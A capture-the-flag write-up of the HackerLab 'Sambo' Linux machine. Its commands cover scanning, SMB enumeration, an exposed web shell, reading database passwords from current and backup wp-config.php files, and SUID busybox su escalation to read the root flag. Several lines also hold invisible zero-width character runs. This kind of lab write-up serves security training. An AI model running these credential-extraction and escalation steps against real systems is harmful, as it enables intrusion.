Sambo (Самбо)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: backup_file_analysis, credential_extraction, suid_exploitation, web_shell_exploitation

Summary

Task: Pentest machine with SMB and web services. Solution: Found phpbash.php web shell via robots.txt, extracted old password from backup wp-config.php in SMB share, used SUID busybox su applet with old password for root access.

Sambo (Самбо) — HackerLab

Description

"Вы давно занимались спортом? У нас для Вас отличная новость!"

Machine with IP 192.168.2.208. The name "Самбо" (Sambo) is a wordplay: SMB/Samba + the martial art sambo.

Reconnaissance

Nmap Scan

 bash read-only • copy allowed Copy
nmap -sV -sC -p- --min-rate=1000 192.168.2.208

Open ports:

• 22 — SSH
• 80 — HTTP (Apache)
• 139/445 — SMB (Samba 4.20.6)

Web Enumeration

WordPress with database connection error. Checking robots.txt revealed:

/phpbash.php

phpbash.php — web shell with terminal interface. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SMB Enumeration

 bash read-only • copy allowed Copy
smbclient -L //192.168.2.208 -N

Found share storage with configuration:

• wide links = yes
• follow symlinks = yes
• force user = admin
• path = /Backup
• writeable = no

Initial Access

Gained RCE via phpbash.php as user apache.

Enumeration

Credentials in wp-config.php

 bash read-only • copy allowed Copy
cat /var/www/localhost/htdocs/wp-config.php | grep DB_PASSWORD

Found password: admin:R-e4|D0:50Tl

Backup Analysis

In the /Backup directory found archive wordpress.bak: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
ls -la /Backup/
# wordpress.bak (ZIP archive)

SUID Binary

 bash read-only • copy allowed Copy
find / -perm -4000 2>/dev/null
# /bin/bbsuid

/bin/bbsuid — busybox with SUID bit. Available applets: su, mount, umount.

Key Finding

Extracting old wp-config.php from backup:

 bash read-only • copy allowed Copy
unzip /Backup/wordpress.bak wp-config.php -d /tmp/
grep DB_PASSWORD /tmp/wp-config.php

Discovered different password: 29:Lb4Yb+SAs

Privilege Escalation

The old password from backup turned out to be the root password:

 bash read-only • copy allowed Copy
# Create symlink to bbsuid for calling su
ln -sf /bin/bbsuid /tmp/su

# Use su with password from backup
echo '29:Lb4Yb+SAs' | /tmp/su -c 'cat /root/flag.txt'

Lessons

1. Always check backups — may contain old credentials that are still valid
2. Compare config versions — diff between current and backup can reveal password changes
3. Task name is a hint — "Sambo" pointed to SMB, but the solution was in the SMB share backup
4. SUID busybox — if su applet is available, can be used for privesc when password is known
5. Password reuse — old passwords are often reused for other accounts ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Path (didn't work)

Initially planned to use wide links = yes in SMB to create symlink to /root/flag.txt, but:

• No write permissions in /Backup
• force user = admin doesn't grant root privileges

Timeline

1. Nmap → discovered SSH, HTTP, SMB
2. robots.txt → phpbash.php (web shell)
3. RCE as apache → enumeration
4. wp-config.php → credentials admin:R-e4|D0:50Tl
5. SMB share → /Backup/wordpress.bak
6. Unzip backup → old password 29:Lb4Yb+SAs
7. SUID bbsuid + old password → root ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍